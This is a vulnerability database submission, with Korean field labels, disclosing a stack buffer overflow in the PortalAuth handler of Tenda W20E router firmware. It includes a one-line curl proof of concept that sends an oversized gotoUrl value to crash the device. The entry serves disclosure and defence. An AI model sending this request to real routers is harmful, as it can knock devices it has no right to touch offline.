| 제목 | Tenda W20E US_W20EV4.0br_V15.11.0.6(1068_1546_841)_CN_TDC.bin Buffer Overflow |
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| 설명 | Tenda W20E firmware V4.0br_V15.11.0.6(1068_1546_841)_CN_TDC contains a stack-based buffer overflow in formPortalAuth, reachable via POST /goform/PortalAuth. The attacker-controlled gotoUrl parameter is copied with strcpy into the fixed-size redirect_url[256] stack buffer without bounds checking. A crafted request can overflow the destination buffer and corrupt adjacent stack memory, which may lead to denial of service and other unintended behavior.
PoC:
curl -i 'http://192.168.0.1/goform/PortalAuth' \
--data-urlencode "gotoUrl=$(python3 -c 'print(\"A\"*512)')" \
--data "portalAuthType=normal" \
--data "webAuthUserName=user" \
--data "webAuthUserPassword=pass" |
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| 원천 | ⚠️ https://github.com/paueger/mycve/blob/main/Tenda_W20E/6.md |
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| 사용자 | paxiot (UID 94927) |
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| 제출 | 2026. 06. 25. AM 11:39 (3 개월 ago) |
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| 모더레이션 | 2026. 08. 14. AM 07:30 (2 months later) |
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| 상태 | 중복 |
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| VulDB 항목 | 369143 [Tenda W20E 15.11.0.6 Web Management Interface /goform/PortalAuth formPortalAuth gotoUrl 메모리 손상] |
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| 포인트들 | 0 |
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